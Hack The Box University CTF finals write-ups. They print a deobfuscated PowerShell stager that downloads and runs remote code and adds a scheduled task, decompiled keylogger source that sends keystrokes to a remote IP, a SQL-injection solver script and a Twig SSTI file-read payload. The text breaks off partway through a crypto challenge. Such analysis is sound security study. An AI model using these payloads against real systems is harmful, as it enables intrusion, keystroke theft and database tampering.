# Hack The Box University CTF Finals Writeups
## Forensics
### Zipper
#### Initial Analysis
We are provided with a zip file and a lnk file. We have Eric Zimmerman's [LECmd](https://f001.backblazeb2.com/file/EricZimmermanTools/LECmd.zip) to parse lnk files. Using that we got a powershell command.
```powershell
Arguments: /c powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes("Ae%4@3SDs");$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'"
```
From the above command, we can see that the user using the command in `Hidden` mode and using a key `Ae%4@3SDs`.
On executing strings gives us a base64 string and an another powershell code where its xoring the given base64 string with the key provided above.
```powershell
$x = [System.Convert]::FromBase64String("MhFERjQeIzYcIgBWR2AeJC09JQpSZzRKPwFTCQxhUCVdczcQKRFERytAc2NcIg1EWidWc2sHL0VkfWAcNy0AIAdJUWcIdwsAFBFjQTJQEnQfACxxZTh1BnMjC1gBUS5FaTEAJBdVRi9VOigWakJ5dTBDFyUHIDl3WyFeOioUZl4FEBlYawswGxVvdxBKZg9CCgBWbBBAc3lTaSJAQG1kPi08Iw9AVzQTBC0dcld6dy9eIzEHJBd2TTNHNikjMwpBQSNHemomFCxhD2AXOTQRIgNvZyFiGxA8c1dhcnEBIwEhfEF8X3h8EB4DCyZ1TXV4Yg8WMj11R25gJiYANRdMWicbY2hFaF4FEBh5EB0GEBdWchR/ZnEqLSp0QgZKI2ROYUFqRxVHFTEBIiQVWAF6BxULBzASZAoYdBhUakFPRCJQNQ4gIDRtYA8BYQA1cFdVcRIIGiJbNQBWQG1DMjAbYUF9fgNqJhUBMiNxeHUGCig8EBNjTTARDxsaL0cMTyJBNiUYegdXUSFYaDlIYSxDHGEbJyEANUhVVTRbc2ArCyZ8QRFBIAInDVAQbSx8AjI1OBUMHTt9NjNeCBFAWWAeGjAWLDFcRCUTFy0BJAZRWzJKc2k1LhdGUWAeAyUHKUUBbApwCjEiMxZjYAwGZh0fDjRTcjlDaGRXJwlEU30RGxAxOgERWicAIXQmMjpfBTBsCS0jHh8URDAAATlRPF4FFjNHMjYHbBVXWyNWIDdTbBJMeiRcJBcHOAlgFAhaFyAWL0VVWzdWITcbJAlJGiVLNmRbaUIFE2sUfidTKABdFGgbPQEEZk4CGQ9RdG9UCwBGE2sUJ2RbOkIOE3AUeGMODyBRGmcYdBMWA0IOEyNfOiFUakJLE2sUJz9DPEIOE2kUeGNab01eE2sUYzk3LhICH2d9HytUakJkUBNHdG9UMyxLczsUeGNDPEwLE2sUOioFLi4CH2dWe2wIcRhNQDQUeGMDMl8KE2sUfC0dN0IOEyVAJ2NYZgxJXScUeGMSZk4CWm5bdG9UNQcCH2ccJCFUakJXQClDPCgSMgBIGy4UeGMGZk4CXzBcPyEAJQReBD0UeGNaaEwCHWAeFWQoAi1kZh0Aam1RYRkFWzVHfiIaLQAFEBh5EB0GEBdWchR/ZnEqLSp0QgZKIxgCCBNncXNhFAUAOT1cBxMHYCtDIARUGjBAYn9TZRFkRndUIH01dlRmZQRxODFBDwRyTSYOdGRcB0UKVzJWMjAWYUpWV2BeOioGNQAFGy1cc3FTbjFrFGJyIzQhNAtpWycRc2sgFUUVA3oDY2RcFTcFFjBcJCEBMg1AWCwdNjwWYUhSXQ5XPDMgNRxJcWB7OgAXJAsFGSVLNmQROBVERzMTfiIaLQAFE2sXCw4wGBB0RjN1BwhGdDxJexFFFT0DakJ5RQlFEQFAEyJkRzhrKncgdVZKBCFSImoDMlQFFmcIczcHIBdRGTBBPCcWMhYFGTdaHSAcNjZRTSx2cwwaBQFAWmBAMCwHIBZOR2AXJwUBdgJWDQYEYgciBSdOQXJ9MhMKJ14=");$pt = [System.Text.Encoding]::UTF8.GetString($(for ($i=0; $i -lt $x.length; $i++){$x[$i] -bxor $key[$i%$key.length]}))
```
#### Retrieving flag
We got all the things needed, on decrypting the encrypted XOR data, we got the flag.
Here is the python code for retrieving the flag.
```python
from base64 import b64decode
pt = b64decode("MhFERjQeIzYcIgBWR2AeJC09JQpSZzRKPwFTCQxhUCVdczcQKRFERytAc2NcIg1EWidWc2sHL0VkfWAcNy0AIAdJUWcIdwsAFBFjQTJQEnQfACxxZTh1BnMjC1gBUS5FaTEAJBdVRi9VOigWakJ5dTBDFyUHIDl3WyFeOioUZl4FEBlYawswGxVvdxBKZg9CCgBWbBBAc3lTaSJAQG1kPi08Iw9AVzQTBC0dcld6dy9eIzEHJBd2TTNHNikjMwpBQSNHemomFCxhD2AXOTQRIgNvZyFiGxA8c1dhcnEBIwEhfEF8X3h8EB4DCyZ1TXV4Yg8WMj11R25gJiYANRdMWicbY2hFaF4FEBh5EB0GEBdWchR/ZnEqLSp0QgZKI2ROYUFqRxVHFTEBIiQVWAF6BxULBzASZAoYdBhUakFPRCJQNQ4gIDRtYA8BYQA1cFdVcRIIGiJbNQBWQG1DMjAbYUF9fgNqJhUBMiNxeHUGCig8EBNjTTARDxsaL0cMTyJBNiUYegdXUSFYaDlIYSxDHGEbJyEANUhVVTRbc2ArCyZ8QRFBIAInDVAQbSx8AjI1OBUMHTt9NjNeCBFAWWAeGjAWLDFcRCUTFy0BJAZRWzJKc2k1LhdGUWAeAyUHKUUBbApwCjEiMxZjYAwGZh0fDjRTcjlDaGRXJwlEU30RGxAxOgERWicAIXQmMjpfBTBsCS0jHh8URDAAATlRPF4FFjNHMjYHbBVXWyNWIDdTbBJMeiRcJBcHOAlgFAhaFyAWL0VVWzdWITcbJAlJGiVLNmRbaUIFE2sUfidTKABdFGgbPQEEZk4CGQ9RdG9UCwBGE2sUJ2RbOkIOE3AUeGMODyBRGmcYdBMWA0IOEyNfOiFUakJLE2sUJz9DPEIOE2kUeGNab01eE2sUYzk3LhICH2d9HytUakJkUBNHdG9UMyxLczsUeGNDPEwLE2sUOioFLi4CH2dWe2wIcRhNQDQUeGMDMl8KE2sUfC0dN0IOEyVAJ2NYZgxJXScUeGMSZk4CWm5bdG9UNQcCH2ccJCFUakJXQClDPCgSMgBIGy4UeGMGZk4CXzBcPyEAJQReBD0UeGNaaEwCHWAeFWQoAi1kZh0Aam1RYRkFWzVHfiIaLQAFEBh5EB0GEBdWchR/ZnEqLSp0QgZKIxgCCBNncXNhFAUAOT1cBxMHYCtDIARUGjBAYn9TZRFkRndUIH01dlRmZQRxODFBDwRyTSYOdGRcB0UKVzJWMjAWYUpWV2BeOioGNQAFGy1cc3FTbjFrFGJyIzQhNAtpWycRc2sgFUUVA3oDY2RcFTcFFjBcJCEBMg1AWCwdNjwWYUhSXQ5XPDMgNRxJcWB7OgAXJAsFGSVLNmQROBVERzMTfiIaLQAFE2sXCw4wGBB0RjN1BwhGdDxJexFFFT0DakJ5RQlFEQFAEyJkRzhrKncgdVZKBCFSImoDMlQFFmcIczcHIBdRGTBBPCcWMhYFGTdaHSAcNjZRTSx2cwwaBQFAWmBAMCwHIBZOR2AXJwUBdgJWDQYEYgciBSdOQXJ9MhMKJ14=")
key = b"Ae%4@3SDs"
def xor(pt, key):
return b"".join([bytes([key[i%len(key)]^j]) for i,j in enumerate(pt)])
xor(pt,key)
```
Here is the output we got after decrypting.
```
start-process -wiNdowStylE HiDden schtasks \'/change /tn AI /disable\';$OsUtFurcA0lAITQxFU7PJ=$env:userprofile+\'\\AppData\\Roaming\'; $Yk8OCZpJCPy5K1KesXPs = (Get-WmiObject Win32_ComputerSystemProduct).UUID; $jpbcfJSaQHTO22DF12pER=$Yk8OCZpJCPy5K1KesXPs.Substring(0,6); $XJCYuQrsFTL55YlOQvFyp = $OsUtFurcA0lAITQxFU7PJ+\'\\\'+$jpbcfJSaQHTO22DF12pER;If(test-path $XJCYuQrsFTL55YlOQvFyp"\\_in"){break;break;}; If(!(test-path $XJCYuQrsFTL55YlOQvFyp)){New-Item -ItemType Directory -Force -Path $XJCYuQrsFTL55YlOQvFyp; $flag="HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}"}; "start-process -wiNdowStylE HiDden powershell.exe ((\' \'+\'-c iex ((nEw\'+\'-Ob\'+\'Jec\'+\'t ({\'+\'0\'+\'}NEt.\'+\'WeB\'+\'clie\'+\'n\'+\'t{0}\'+\')\'+\').({\'+\'0}Dow\'+\'NLo\'+\'AdSt\'+\'rInG{\'+\'0}).\'+\'invoK\'+\'e(({0}htt\'+\'ps:/\'+\'/inv\'+\'est\'+\'ilig\'+\'a\'+\'n.h\'+\'tb\'+\'/we\'+\'rtipolasem/n\'+\'u\'+\'kpolesda{0}\'+\')))\') -F [CHAR]39)" | out-file $XJCYuQrsFTL55YlOQvFyp\\qIvBE3RGAsxXy3S43o0aaq.ps1; $tAr7gs9F71CQDBku2NaWyf=\' /F /create /sc minute /mo 5 /TN "AppRunLog" /ST 07:00 /TR "powershell.exe -wiNdowStylE HiDden -exe bypass -file \'+$XJCYuQrsFTL55YlOQvFyp+\'\\qIvBE3RGAsxXy3S43o0aaq.ps1 "\'; start-process -wiNdowStylE HiDden schtasks $tAr7gs9F71CQDBku2NaWyf;
```
And we got the flag as `HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}`.
### Time is of the essence
#### Initial Analysis
We are provided with a Win 10 memory dump and network packet capture.
Let us fireup volatility and see what all processes are running in the system.
```bash=
$ python vol.py -f tioe.raw --profile=Win10x64_17134 pslist
Volatility Foundation Volatility Framework 2.6.1
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
------------------ -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0xffff870e97e82040 System 4 0 100 0 ------ 0 2021-02-01 05:57:28 UTC+0000
0xffff870e97f94040 Registry 68 4 4 0 ------ 0 2021-02-01 05:57:26 UTC+0000
0xffff870ea47ea400 smss.exe 296 4 2 0 ------ 0 2021-02-01 05:57:28 UTC+0000
0xffff870ec65d2540 csrss.exe 384 376 9 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870ebcfd2080 wininit.exe 452 376 2 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870ec130b140 csrss.exe 460 444 10 0 1 0 2021-02-01 05:57:46 UTC+0000
0xffff870ea0ac5140 winlogon.exe 520 444 5 0 1 0 2021-02-01 05:57:46 UTC+0000
0xffff870ea0acc140 services.exe 544 452 6 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870ea0ace080 lsass.exe 552 452 10 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870ec1323200 fontdrvhost.ex 648 520 5 0 1 0 2021-02-01 05:57:46 UTC+0000
0xffff870e9dbc3200 fontdrvhost.ex 656 452 5 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870e9dbc8300 svchost.exe 676 544 25 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870eaec2f380 svchost.exe 768 544 13 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870eae1ba080 dwm.exe 864 520 14 0 1 0 2021-02-01 05:57:46 UTC+0000
0xffff870ec24f5300 svchost.exe 952 544 79 0 0 0 2021-02-01 05:57:46 UTC+0000
0xffff870ec24f8380 svchost.exe 964 544 14 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870ea21c6380 svchost.exe 992 544 15 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870ea21c8300 svchost.exe 1008 544 20 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870e97ecb0c0 svchost.exe 852 544 27 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870e97f08080 svchost.exe 1084 544 23 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870e97ec4080 VBoxService.ex 1232 544 11 0 0 0 2021-02-01 05:57:47 UTC+0000
0xffff870ebf9cf040 MemCompression 1344 4 78 0 ------ 0 2021-01-31 19:57:48 UTC+0000
0xffff870e9becf380 svchost.exe 1416 544 8 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870eab9c3380 svchost.exe 1504 544 5 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870ebf9eb080 svchost.exe 1512 544 7 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870eb34b72c0 spoolsv.exe 1648 544 7 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870eb34b9380 svchost.exe 1664 544 14 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870eb34e3480 svchost.exe 1776 544 5 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870e9b60c300 svchost.exe 1816 544 15 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870e98f69400 ruby.exe 1880 544 10 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870e9b610080 MsMpEng.exe 1896 544 13 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870e9b62a080 wlms.exe 1912 544 2 0 0 0 2021-01-31 19:57:49 UTC+0000
0xffff870eade94500 MpCmdRun.exe 2420 2300 5 0 0 0 2021-01-31 19:57:51 UTC+0000
0xffff870ec5cef080 MpCmdRun.exe 2452 1896 7 0 0 0 2021-01-31 19:57:51 UTC+0000
0xffff870e9c920080 conhost.exe 2468 2452 4 0 0 0 2021-01-31 19:57:51 UTC+0000
0xffff870ea6eed300 WmiPrvSE.exe 2720 676 12 0 0 0 2021-01-31 19:57:53 UTC+0000
0xffff870eb44a5080 svchost.exe 2768 544 23 0 0 0 2021-01-31 19:57:53 UTC+0000
0xffff870ea64b90c0 svchost.exe 2876 544 7 0 0 0 2021-01-31 19:57:53 UTC+0000
0xffff870ea363f080 svchost.exe 2916 544 33 0 0 0 2021-01-31 19:57:53 UTC+0000
0xffff870e98cb6080 svchost.exe 3020 544 11 0 0 0 2021-01-31 19:57:54 UTC+0000
0xffff870ea3636080 dasHost.exe 984 1008 4 0 0 0 2021-01-31 19:57:54 UTC+0000
0xffff870ec124d380 sihost.exe 3348 952 19 0 1 0 2021-01-31 19:57:58 UTC+0000
0xffff870ec124f3c0 svchost.exe 3360 544 14 0 1 0 2021-01-31 19:57:58 UTC+0000
0xffff870ec6616080 taskhostw.exe 3404 952 10 0 1 0 2021-01-31 19:57:58 UTC+0000
0xffff870ea6b3c380 ctfmon.exe 3556 1008 9 0 1 0 2021-01-31 19:57:58 UTC+0000
0xffff870ec43450c0 userinit.exe 3700 520 0 -------- 1 0 2021-01-31 19:57:59 UTC+0000 2021-01-31 19:58:28 UTC+0000
0xffff870ebf456440 explorer.exe 3716 3700 81 0 1 0 2021-01-31 19:57:59 UTC+0000
0xffff870eab9f6080 svchost.exe 3796 544 0 -------- 0 0 2021-01-31 19:57:59 UTC+0000 2021-01-31 20:00:29 UTC+0000
0xffff870e9864b400 svchost.exe 3912 544 7 0 1 0 2021-01-31 19:58:00 UTC+0000
0xffff870e9ca9f0c0 ShellExperienc 4120 676 22 0 1 0 2021-01-31 19:58:03 UTC+0000
0xffff870e9b69b280 SearchUI.exe 4228 676 35 0 1 0 2021-01-31 19:58:03 UTC+0000
0xffff870e9b6f9300 SearchIndexer. 4248 544 18 0 0 0 2021-01-31 19:58:03 UTC+0000
0xffff870e9b69e080 RuntimeBroker. 4388 676 11 0 1 0 2021-01-31 19:58:03 UTC+0000
0xffff870e9d6dc080 RuntimeBroker. 4480 676 6 0 1 0 2021-01-31 19:58:04 UTC+0000
0xffff870eb445b4c0 ApplicationFra 4520 676 13 0 1 0 2021-01-31 19:58:04 UTC+0000
0xffff870eb4461400 MicrosoftEdge. 4564 676 45 0 1 0 2021-01-31 19:58:04 UTC+0000
0xffff870ea9922400 browser_broker 4816 676 9 0 1 0 2021-01-31 19:58:04 UTC+0000
0xffff870ea9906080 svchost.exe 4832 544 3 0 0 0 2021-01-31 19:58:04 UTC+0000
0xffff870e9878e080 Windows.WARP.J 4980 4832 4 0 0 0 2021-01-31 19:58:05 UTC+0000
0xffff870eade19080 RuntimeBroker. 3260 676 12 0 1 0 2021-01-31 19:58:06 UTC+0000
0xffff870ea02df0c0 MicrosoftEdgeC 892 676 41 0 1 0 2021-01-31 19:58:06 UTC+0000
0xffff870ea02e5240 MicrosoftEdgeS 2216 3260 14 0 1 0 2021-01-31 19:58:06 UTC+0000
0xffff870e986b2080 Windows.WARP.J 5128 4832 5 0 0 0 2021-01-31 19:58:06 UTC+0000
0xffff870e986b1400 smartscreen.ex 5236 676 15 0 1 0 2021-01-31 19:58:06 UTC+0000
0xffff870e986b9080 svchost.exe 5252 544 12 0 0 0 2021-01-31 19:58:07 UTC+0000
0xffff870ec66e0440 dllhost.exe 5500 676 12 0 1 0 2021-01-31 19:58:10 UTC+0000
0xffff870ea772a080 RuntimeBroker. 5540 676 4 0 1 0 2021-01-31 19:58:10 UTC+0000
0xffff870ea772b080 SearchProtocol 5576 4248 5 0 1 0 2021-01-31 19:58:11 UTC+0000
0xffff870eade0c080 SecurityHealth 6096 3716 2 0 1 0 2021-01-31 19:58:16 UTC+0000
0xffff870ec5c19340 SecurityHealth 3212 544 16 0 0 0 2021-01-31 19:58:17 UTC+0000
0xffff870e9e5ec0c0 VBoxTray.exe 3312 3716 11 0 1 0 2021-01-31 19:58:18 UTC+0000
0xffff870eb0691500 OneDrive.exe 6228 3716 18 0 1 1 2021-01-31 19:58:19 UTC+0000
0xffff870ebbfe3080 WindowsInterna 6416 676 28 0 1 0 2021-01-31 19:58:21 UTC+0000
0xffff870ebf905080 dllhost.exe 7164 676 4 0 1 0 2021-01-31 19:58:30 UTC+0000
0xffff870eb0654540 MicrosoftEdgeC 7072 676 0 -------- 1 0 2021-01-31 19:59:15 UTC+0000 2021-01-31 19:59:58 UTC+0000
0xffff870eab96e540 MicrosoftEdgeC 3924 676 45 0 1 0 2021-01-31 19:59:24 UTC+0000
0xffff870eade17080 MicrosoftEdgeC 6412 676 13 0 1 0 2021-01-31 19:59:25 UTC+0000
0xffff870ec664e500 Windows.WARP.J 6648 4832 5 0 0 0 2021-01-31 19:59:25 UTC+0000
0xffff870e9e5fb080 SgrmBroker.exe 7768 544 3 0 0 0 2021-01-31 19:59:52 UTC+0000
0xffff870eaec5f080 MicrosoftEdgeC 5748 676 0 -------- 1 0 2021-01-31 19:59:56 UTC+0000 2021-01-31 20:00:06 UTC+0000
0xffff870e9c921080 svchost.exe 6740 544 6 0 0 0 2021-01-31 20:00:05 UTC+0000
0xffff870e9b6f3080 cbtws.exe 3448 1808 1 0 1 0 2021-01-31 20:00:12 UTC+0000
0xffff870eb2d08080 cbtws.exe 7116 3448 3 0 1 0 2021-01-31 20:00:12 UTC+0000
0xffff870eade0f080 MicrosoftEdgeC 1704 676 14 0 1 0 2021-01-31 20:00:14 UTC+0000
0xffff870ebfa1f2c0 MusNotifyIcon. 3080 952 2 0 1 0 2021-01-31 20:00:49 UTC+0000
0xffff870ea61d8080 WmiPrvSE.exe 4584 676 6 0 0 0 2021-01-31 20:00:50 UTC+0000
0xffff870ebf941080 MicrosoftEdgeC 6244 676 0 -------- 1 0 2021-01-31 20:00:52 UTC+0000 2021-01-31 20:01:02 UTC+0000
0xffff870ea6b37080 WMIADAP.exe 7192 952 5 0 0 0 2021-01-31 20:01:49 UTC+0000
0xffff870ec5c63540 RuntimeBroker. 2968 676 5 0 1 0 2021-01-31 20:02:56 UTC+0000
0xffff870eb447e080 backgroundTask 2056 676 12 0 1 0 2021-01-31 20:02:59 UTC+0000
0xffff870eb447d080 backgroundTask 7936 676 13 0 1 0 2021-01-31 20:02:59 UTC+0000
0xffff870ec66d6080 RuntimeBroker. 5088 676 17 0 1 0 2021-01-31 20:03:00 UTC+0000
0xffff870ec12f4080 RuntimeBroker. 1800 676 5 0 1 0 2021-01-31 20:03:00 UTC+0000
0xffff870ec334b240 SearchFilterHo 1080 4248 5 0 0 0 2021-01-31 20:03:15 UTC+0000
0xffff870e9c935540 SearchProtocol 916 4248 8 0 0 0 2021-01-31 20:03:42 UTC+0000
0xffff870ec5c60540 MicrosoftEdgeC 6852 676 0 -------- 1 0 2021-01-31 20:03:47 UTC+0000 2021-01-31 20:03:47 UTC+0000
0xffff870e98651080 DumpIt.exe 7868 3716 2 0 1 1 2021-01-31 20:03:50 UTC+0000
0xffff870ebf9d2080 conhost.exe 3272 7868 5 0 1 0 2021-01-31 20:03:50 UTC+0000
```
We can see a process named `cbtws.exe` is running and there is a similar file being downloaded from a local IP `192.168.1.9`. So this can be our malicious process running in memory. Along with the executable we saw a powershell script(`dow.ps1`) being downloaded into the system.
Our first assumption according to the description the executable running might be a keylogger.
Let's see analyse this executable.
#### Further analysis
On analysing that exe we found pydata header, and we can extract the `.pyc` files on using pyextractor and we can see a `keylog.pyc` file.
We used decompile6 after the correcting the python header in the pyc and get the readable python file.
```python=
from pynput.keyboard import Listener
from datetime import datetime
from Crypto.Cipher import AES
import threading, socket, random
text = ''
def gen_key() -> str:
key = ''
sed = int(datetime.now().strftime('%H%M%S'))
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key
def aes_enc(text: bytes) -> bytes:
key = 'oW7P0lH8aroxDKqn'
iv = gen_key()
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv.encode('utf-8'))
return cipher.encrypt(text)
def send(text: str) -> None:
HOST = '192.168.1.9'
PORT = 4443
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as (s):
s.connect((HOST, PORT))
s.sendall(aes_enc(text.encode('utf-8')))
def report() -> None:
global text
if text != '':
send(text)
text = ''
timer = threading.Timer(10, report)
timer.start()
def keystrokes(key: str) -> None:
global text
key = str(key).replace("'", '')
text += key + ' '
def main() -> None:
with Listener(on_press=keystrokes) as (log):
report()
log.join()
if __name__ == '__main__':
main()
```
From this above python script, we can see that the user is encrypting the keystrokes using `AES-CFB` mode with key `oW7P0lH8aroxDKqn` and the iv is generated according to the time when this executable was run. We can get the time when this executable was run from pslist and the timezone that the system was in from this registry key `SYSTEM\ControlSet001\Control\TimeZoneInformation` and its mentioned as `UTC`, so we can directly proceed according to the timestamp provided by pslist, and the whole encrypted data was sent to `192.168.1.9` on port `4443`. So let's extract the encrypted data from the pcap provided and create a new pcap named `data.pcap`.
#### Solver script
```python=
#!/usr/bin/python3
from Crypto.Cipher import AES
from sol import sol
from datetime import datetime
import random
from scapy.all import *
timer = lambda x: datetime.strptime(x, "%Y-%m-%d %H:%M:%S %z")
def gen_key(sed) -> str:
key = ''
random.seed(sed)
for i in range(16):
char = random.randint(32, 127)
key += chr(char)
return key
def aes_dec(text: bytes, iv: bytes) -> bytes:
key = 'oW7P0lH8aroxDKqn'
cipher = AES.new(key.encode('utf-8'), AES.MODE_CFB, iv)
return cipher.decrypt(text)
def main():
sed = (int(timer("2021-01-31 20:00:12 +0000").strftime('%H%M%S')))
# j = [200022]
st = []
r=rdpcap('data.pcap')
data=[]
for i in r:
data.append(i.load)
sol = ''.join(data)
for i in sol:
for j in range(sed, sed+1000):
iv = gen_key(j)
a = aes_dec(i, iv.encode())
if b"Key" in a[:16]:
st += [a]
print(b"".join(st))
if __name__ == '__main__':
main()
```
On executing this python script, we got the whole decrypted key keystrokes.
```
Key.shift C a n Key.space i Key.space g e t Key.space h a c k e d Key.space b y Key.space c l i c k i n g Key.space a Key.space l i n k Key.shift ? Key.enter Key.shift I s Key.space i t Key.space s a f e w Key.space t Key.backspace Key.backspace Key.backspace Key.space t o Key.space o p e n Key.space a l Key.backspace Key.space l i n k Key.shift ? Key.enter Key.shift I s Key.space t h e r e Key.space a Key.space w a y Key.space t o Key.space f i n d Key.space i Key.backspace o u t Key.space i f Key.space i Key.space g o t Key.space h a c k e d Key.shift ? Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift Key.shift I Key.space m i g h t Key.space g o t Key.space h a c k e d Key.enter Key.shift H e l p Key.space i Key.space g o t Key.space h a c k e d Key.enter Key.shift H T B Key.shift { t 3 l l Key.shift _ m e Key.shift _ Key.shift A l l Key.left Key.left Key.backspace Key.shift @ Key.right Key.right Key.shift _ Y o u r Key.shift _ Key.shift S 3 c r 3 t s Key.shift } Key.shift H Key.backspace Key.shift H o w Key.space c a n Key.space i Key.space b u r n Key.space m y Key.space p c Key.space a n d Key.space t h e Key.space m a l w a r e Key.space w i t h i n Key.space i t Key.shift ?
```
#### Flag
We got the flag as `HTB{t3ll_me_@ll_Your_S3cr3ts}`
## Web
### WafWaf : SQL Injection Write-up
#### Challenge Description
Who let the blacklists out?
#### Source Code
```php
<?php
require('database.php');
$user = $_GET['user'];
$pass = $_GET['pass'];
if (!isset($user) || !isset($pass) || preg_match_all('/(select|union|where|\(|\.|\')/i', $user.$pass))
{
highlight_file(__FILE__);
exit;
}
$mysql = get_db();
$mysql->multi_query("SELECT * FROM `users` WHERE `username` = '${user}' AND `password` = '${pass}'");
do
{
if ($result = $mysql->store_result())
{
if ($row = $result->fetch_assoc())
{
echo json_encode($row) . '<br/>';
}
$result->free();
}
}
while ($mysql->next_result());
$mysql->close();
```
#### Analysis
- Parameters `user` and `pass` are directly fed into the query and might cause SQL Injection.
- The filters applied for the parameters are not strong enough.
- Multiple queries can be executed at a time since `multi_query` function is used.
- Inserting single quotes are not allowed.
#### Solution
1. Inserting `\` as value for `user` parameter causes a part of the query to be treated as a string, and the `pass` parameter can be used for SQL Injection. The query becomes
```sql
SELECT * FROM `users` WHERE `username` = 'secure\' AND `password` = '; <SQL Injection here> -- -'
```
2. Notice that the users table is empty. So the flag must be in some other table. `?user=secure\&pass=or 1;`
3. Tables could be listed out with `?user=\&pass=; show tables;-- -`.
```json
{"Tables_in_security":"definitely_not_a_flag"}
```
A table `definitely_not_a_flag` exists in the database.
4. Enumerating the columns of `definitely_not_a_flag` table.
```json
{"Field":"flag","Type":"varchar(80)","Null":"NO","Key":"","Default":null,"Extra":""}
```
There is also a username column in this table which can be seen after droping the column.
5. Exploit: We rename `users` table to `backup_table` and `definitely_not_a_flag` to `users`. So, when the select query is executed next time, we can get data from `definitely_not_a_flag` table.
`?user=\&pass=; RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;-- -`
```json
{"flag":"HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}","username":""}
```
#### Solver Script
```python
import requests
import json
host = input("Enter hostname: ")
port = input("Enter port: ")
def exploit(payload):
url = "http://{}:{}".format(host, port)
params = {"user": "secure\\", "pass":"or 1; {} -- -".format(payload)}
r = requests.get(url, params=params)
return r.text
exploit("RENAME TABLE users TO backup_table, definitely_not_a_flag TO users;")
res = exploit("")
print(res)
```
#### Flag
HTB{wh0_l3t_th3_w4fs_0ut?!..w00f..w00f.w00f!}
### bonechewercon : SSTI
#### Challenge Description
The devil is enticing us to commit some sandboxed SSTI feng shui, would you be interested in doing so?
#### Source Code
```php
<?php
namespace App\Controller;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
class DefaultController extends AbstractController
{
public function index(Request $request)
{
if ($request->get('name'))
{
$name = $request->get('name');
$message = $this->get('twig')
->createTemplate(
"Thank you for registering, ${name}</br>"
)
->render();
}
return $this->render('base.html.twig', [
'message' => $message ?? ''
]);
}
public function showSource()
{
return new Response(
show_source(__FILE__)
);
}
}
```
#### Analysis
- Parameters `name` is directly taken and rendered on the home page.
- There are no filters found.
- xss is possible as well as SSTI.
- From the challenge file it's clear that we need to read /flag.
- For templating challenge uses Twig template engine
#### Solution
1. `http://docker.hackthebox.eu:30555/?name=%7B%7B7*7%7D%7D` render `49` so SSTI works fine
2. Now the aim is to read `/flag` by default Twig has filter `file-excerpt` where `file`:path of file,`line`: line number,`srcContext`: defines the total number of lines to display
```json
{{ file|file_excerpt(line, srcContext = 3) }}
```
3. final payload `http://docker.hackthebox.eu:30555/?name=%22{{%27/flag%27|file_excerpt(1,30)}}%22@`
#### Flag
HTB{b3nt_tw1g_t0_my_will!}
## crypto
### HTBCTF - Double Agent
After a long investigation we have revealed the enemy's service, which provides their agents with any needed documents. Recent events indicate that there are double agents among us. We need to read the double_agents.txt file in order to identify their names and treat them accordingly. Can you do it?
NC : docker.hackthebox.eu:30552
#### Challenge Files
```py
# contains 1 file src.py
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import socketserver
import signal
import time
import os
key = os.urandom(16)
def challenge(req):
req.sendall(bytes('Welcome, agent! Request a document:\n', 'utf-8'))
ct = req.recv(4096).decode().strip()
ct = bytes.fromhex(ct)
if len(ct) % 16 != 0:
req.sendall(bytes('Invalid input.\n', 'utf-8'))
return
cipher = AES.new(key, AES.MODE_CBC, key)
try:
file = cipher.decrypt(ct)
f = open(unpad(file, 16),'rb')
dt = f.read()
f.close()
req.sendall(dt)
except:
req.sendall(bytes("File not found: " + file.hex() + "\n", 'utf-8'))
class incoming(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(300)
req = self.request
challenge(req)
class ReusableTCPServer(socketserver.ForkingMixIn, socketserver.TCPServer):
pass
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 23333), incoming)
server.serve_forever()
```
**First Impressions**:
* The challenge is generating a 16 bytes key using urandom at the start of the process. The key is not updated after the initial assignment.
* This key is used as key and iv for the AES CBC mode cipher.
* The user is allowed to send a `ct%16 == 0` ciphertext which is decoded to get a plaintext.
* If a file with the name of the plaintext exists in the src directory. Then the file contents of the file is returned. Else the plaintext is returned.
* It is also mentioned in the prompt that we need to read the file name `double_agents.txt`
#### Solution
The flag is stored in the before mentioned file. So the goal of this challenge is to recreate the ciphertext of the file name `double_agents.txt`.
To recreate the ciphertext we need to either trick the program to generate the ciphertext or guess the key. Since the key is used as IV in this challenge, it is quite easy to guess the key.
We know in AES CBC mode decryption:
